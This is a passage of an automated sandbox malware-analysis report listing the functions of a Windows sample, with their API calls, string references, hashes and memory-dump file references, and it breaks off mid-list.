Instruction ID: 79014a92ed6ffe250a908b7a69d5a41e218762e5ca119f79578de1f70e4ec4ac
Opcode Fuzzy Hash: c6931f451438f347b1f2d91d95bf32010023286b52da5b519690176a0ba98ca8
Instruction Fuzzy Hash: 1801A532504300ABCA51AF65FD45B9A7BA5AB90714F11443FF44AA61A0C77A5C50CE1D

Function 0041217B Relevance: 4.5, APIs: 3, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00412188
GetSystemMetrics.USER32(0000000C), ref: 0041218F
73A1A570.USER32(00000000), ref: 004121A8

Part of subcall function 004145FA: GetSystemMetrics.USER32(00000002), ref: 0041460C
Part of subcall function 004145FA: GetSystemMetrics.USER32(00000003), ref: 00414616

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: MetricsSystem$A570CallbackDispatcherUser
String ID:
API String ID: 1939568193-0
Opcode ID: 33672f0f68217ab67061f26c144df6d74977d69928e2c7c2d67c8a0623537024
Instruction ID: 673a1dd84d0018650a8ef397bc14bdac0916528e67b4911285ebc7b69baee6bd
Opcode Fuzzy Hash: 33672f0f68217ab67061f26c144df6d74977d69928e2c7c2d67c8a0623537024
Instruction Fuzzy Hash: E3F09631540700EEE3206B629C49F9B77B4EBC4752F10852AE20186291C6B498408EA9

Function 004147A6 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000000,00000000,00412619,00000000,00000000,00000000,00000000,?,00000000,?,0040E4D5,00000000,00000000,00000000,00000000,004054B2), ref: 004147AF
SetErrorMode.KERNELBASE(00000000,?,00000000,?,0040E4D5,00000000,00000000,00000000,00000000,004054B2,00000000), ref: 004147B6

Part of subcall function 00414809: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0041483A
Part of subcall function 00414809: lstrcpy.KERNEL32(?,.HLP), ref: 004148DB
Part of subcall function 00414809: lstrcat.KERNEL32(?,.INI), ref: 00414908

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
String ID:
API String ID: 3389432936-0
Opcode ID: 18b2ef649c9321d74943bcc6c69df821320235d7ba72fe02be1a056b34325876
Instruction ID: a4839ee9804dc9f29a08086f18799c45df4e1721eeb0ec9409cc36c8e0ca9c44
Opcode Fuzzy Hash: 18b2ef649c9321d74943bcc6c69df821320235d7ba72fe02be1a056b34325876
Instruction Fuzzy Hash: FEF04F749142149FD714FF65D444B897BE4AF88710F05885FF4499B3A2CB78D881CF69

Function 00407D73 Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00405430,00000001), ref: 00407D84

Part of subcall function 00407C2B: GetVersionExA.KERNEL32 ref: 00407C4A

HeapDestroy.KERNEL32 ref: 00407DC3

Part of subcall function 004097E4: RtlAllocateHeap.NTDLL(00000000,00000140,00407DAC), ref: 004097F1

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCreateDestroyVersion
String ID:
API String ID: 760317429-0
Opcode ID: 03d8c1b36a5600130eea0286e8e07d5b7cdf069f3e31b8c0bc4dc0804789ebda
Instruction ID: 946d96b144713f48db694858f412f1c7136e376eb3ccb40d8df006956d767a30
Opcode Fuzzy Hash: 03d8c1b36a5600130eea0286e8e07d5b7cdf069f3e31b8c0bc4dc0804789ebda
Instruction Fuzzy Hash: E9F06570E28303EAEB616B319C4E7BA3A949F40745F14487BF504E51E0EE789981961F

Function 004058BB Relevance: 1.6, APIs: 1, Instructions: 80
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000), ref: 004059A2

Part of subcall function 0040AA21: RtlInitializeCriticalSection.NTDLL(00000000), ref: 0040AA5E
Part of subcall function 0040AA21: RtlEnterCriticalSection.NTDLL(00000000), ref: 0040AA79

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 12f310566481ed64096d60d5b44bc1a725cbf33fea55d1613c42fe5a87dc07cb
Instruction ID: 2a4b762a6df32385391f4df8bce81b728c938b48166575a3e5b9086faf0320fa
Opcode Fuzzy Hash: 12f310566481ed64096d60d5b44bc1a725cbf33fea55d1613c42fe5a87dc07cb
Instruction Fuzzy Hash: 5F216071A40A05EBDB109B699C46B9BB764EB00734F144637F814FB2C0C7789D418E99

Function 00412257 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

LoadStringA.USER32(?,?,?,?), ref: 0041226E

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: fe4de11e03966610923fd0e054661a5f88003898dd3308c937107bfb4bceb8c6
Instruction ID: 98123205493133e5e42caf931493a96c95954edb0475eb12224ee0cacefdc5b3
Opcode Fuzzy Hash: fe4de11e03966610923fd0e054661a5f88003898dd3308c937107bfb4bceb8c6
Instruction Fuzzy Hash: 3FD0C77650D3619BCB11DF619804DCFBBA8BF55360B054C4EF49493111C364D855C765

Function 00403510 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

PathFileExistsA.KERNELBASE(00000000,004012A3,00000001,00000000,00000000,80000004,00000000,00000000), ref: 00403515

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: b0678d6ffec20b7ed8bb90dc17339c78662f120507da45af26b47d0614c88751
Instruction ID: a8bfe5bc00472e2f6725a8d03a0602c5df49f4d146af2d878b30172344f5f9c1
Opcode Fuzzy Hash: b0678d6ffec20b7ed8bb90dc17339c78662f120507da45af26b47d0614c88751
Instruction Fuzzy Hash: 1BA0027A955601EBCE00EBE4D98C8CF7BA9ABC4341B00C894B145D3120C734D441CF15

Non-executed Functions

Function 0040D783 Relevance: 27.9, Strings: 22, Instructions: 417COMMON

Download Yara Rule

Strings

-, xrefs: 0040D85A
0, xrefs: 0040D8AD
0, xrefs: 0040D85F
0, xrefs: 0040D924
0, xrefs: 0040D9F1
1, xrefs: 0040D9FB
E, xrefs: 0040D86D
-, xrefs: 0040D981
c, xrefs: 0040D872
9, xrefs: 0040D844
9, xrefs: 0040DA14
BoK, xrefs: 0040D8D9, 0040D94A, 0040D9AB, 0040DA94, 0040DADE
9, xrefs: 0040D898
e, xrefs: 0040D87B
0, xrefs: 0040DA22
9, xrefs: 0040D7F2
9, xrefs: 0040DA04
9, xrefs: 0040D9D0
1, xrefs: 0040D9C8
+, xrefs: 0040D855
C, xrefs: 0040D864
+, xrefs: 0040D978

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID: +$+$-$-$0$0$0$0$0$1$1$9$9$9$9$9$9$BoK$C$E$c$e
API String ID: 0-4122619491
Opcode ID: 1d4b8d86b717d0c10ee92eb067000b183392e90a0d8df2e1639758dc1e0d5ef0
Instruction ID: aa9d4048e9fd909b351139f59da5454d5f91680da642d2f61e9df37c9e86f00f
Opcode Fuzzy Hash: 1d4b8d86b717d0c10ee92eb067000b183392e90a0d8df2e1639758dc1e0d5ef0
Instruction Fuzzy Hash: 50E1D131E58209CEEB288FE8C8517FE7BB1AB44314F28407BD451B62D1D37C898ADB59

Function 00411E52 Relevance: 9.0, Strings: 7, Instructions: 226COMMON

Download Yara Rule

Strings

@, xrefs: 00411F8A
AfxOleControl42s, xrefs: 00411EDB
AfxFrameOrView42s, xrefs: 00411F48
AfxControlBar42s, xrefs: 00411EFB
@, xrefs: 00412023
AfxWnd42s, xrefs: 00411EBA
AfxMDIFrame42s, xrefs: 00411F23

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID: @$@$AfxControlBar42s$AfxFrameOrView42s$AfxMDIFrame42s$AfxOleControl42s$AfxWnd42s
API String ID: 0-2431135857
Opcode ID: 3a47bfcfbffb61dc0d41fe1f50a13ec508f967c7ab89b5ea3961df88e3558615
Instruction ID: 3e3001d7a378714c6287a0de935eaec3617b6d991097bea3e01f190d7c317c30
Opcode Fuzzy Hash: 3a47bfcfbffb61dc0d41fe1f50a13ec508f967c7ab89b5ea3961df88e3558615
Instruction Fuzzy Hash: C6812171D0020DAADB50DFE5D585BDEBFF8AF08348F10816AFA08E6191D7B89AC5C794

Function 004030E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(004034CD,00000001), ref: 004030E9
RtlAllocateHeap.NTDLL(00800000,00000000,00000001), ref: 004030FD
MessageBoxA.USER32(00000000,004B62FC,error,00000010), ref: 00403116

Strings

error, xrefs: 0040310B

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: a1cc4f952103982071efd6b9ef90249dacecaab5c495184a1b590bfa250d6d44
Instruction ID: bb6d2d4b51e6973deb48382b20db3c1b196cc9c57a072d0bc6a80085db841e29
Opcode Fuzzy Hash: a1cc4f952103982071efd6b9ef90249dacecaab5c495184a1b590bfa250d6d44
Instruction Fuzzy Hash: 7AE09271740711ABDA246B65BC0ABC77EA89B48741F014179FA00E6391EAB8DC008BAD

Function 004119DC Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F9BF: GetWindowLongA.USER32(?,000000F0), ref: 0040F9CB

GetKeyState.USER32(00000010), ref: 00411A00
GetKeyState.USER32(00000011), ref: 00411A09
GetKeyState.USER32(00000012), ref: 00411A12
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 00411A28

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 947aa7b985f980d907136d96a8729ab03bd745c3b3c67294d8f0fd91573ee7db
Instruction ID: c6eb815ef5c37b1975eb0bde08d6e4c1bc5639a7a16010a9182a91144575c54d
Opcode Fuzzy Hash: 947aa7b985f980d907136d96a8729ab03bd745c3b3c67294d8f0fd91573ee7db
Instruction Fuzzy Hash: 28F0277331A34627E93033A1AE02FD945144F90BD8F00003BF700BE2E1C9A988831678

Function 0040500E Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31dcfe4cb84d06ca63aa4085f41216fc2076c4195e2b97c0f015a8dec95918ea
Instruction ID: 0e713ae6d4be87a72c65e479fd6952d977cd6cd5180326fbb3a9174acd355df2
Opcode Fuzzy Hash: 31dcfe4cb84d06ca63aa4085f41216fc2076c4195e2b97c0f015a8dec95918ea
Instruction Fuzzy Hash: 64F01432504509ABDF01AF61DC08AEF7BA9EB00384B048036F915A50A0EB38CA55AF9A

Function 0040EE9D Relevance: 4.5, APIs: 3, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 0040EEC4
GetKeyState.USER32(00000011), ref: 0040EECD
GetKeyState.USER32(00000012), ref: 0040EED6

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 3d2dbe7162d8d17f75401a02b403166d45b62974a2a81ca95f14a67df594d04d
Instruction ID: dba62c86670f5ebfe0d142ec521d0d8b5e7f98b9540ef79e9230676913d68875
Opcode Fuzzy Hash: 3d2dbe7162d8d17f75401a02b403166d45b62974a2a81ca95f14a67df594d04d
Instruction Fuzzy Hash: 4AE0653550025D9EEA00DA52C940FE66694EB18790F608C77F784BB2F1C6F88C5297E9

Function 00410D6A Relevance: 3.4, APIs: 2, Instructions: 422COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00410D6F
GetVersion.KERNEL32(00000007,?,?,00000000,00000000,?,0000C000,00000000,00000000,00000007), ref: 00410F22

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: H_prologVersion
String ID:
API String ID: 1836448879-0
Opcode ID: 130e71d8ca8161ec5ada4f9119e47fa43df67cc47b271f79b24102b2eac26f2b
Instruction ID: 0e5b1286c6f4b445aa766846c85c60b5a63ebc617c144cd20b11570d95a7a4ba
Opcode Fuzzy Hash: 130e71d8ca8161ec5ada4f9119e47fa43df67cc47b271f79b24102b2eac26f2b
Instruction Fuzzy Hash: 4FE1AD71600209EBDF10DF55CC80AFF7BA9AF08314F10852BF915EA291DB78D992DB69

Function 00410858 Relevance: 3.0, APIs: 2, Instructions: 27nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.NTDLL(?,?,?,?), ref: 0041087F
CallWindowProcA.USER32(?,?,?,?,?), ref: 00410894

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$CallNtdllProcProc_
String ID:
API String ID: 1646280189-0
Opcode ID: f8bd9e81a2a734c9495ba380d47f63029b45eaa6d342d70266a809f27817ad04
Instruction ID: 69517c423c822ff9d7bb3a6dd74505ba6b2b317af8219f52f6ac9c1506f0e168
Opcode Fuzzy Hash: f8bd9e81a2a734c9495ba380d47f63029b45eaa6d342d70266a809f27817ad04
Instruction Fuzzy Hash: 60F01536104208EFCF21AF94DC44DDABBB9FF18390B04846AFA5986120D772D8A0EB94

Function 0041006C Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
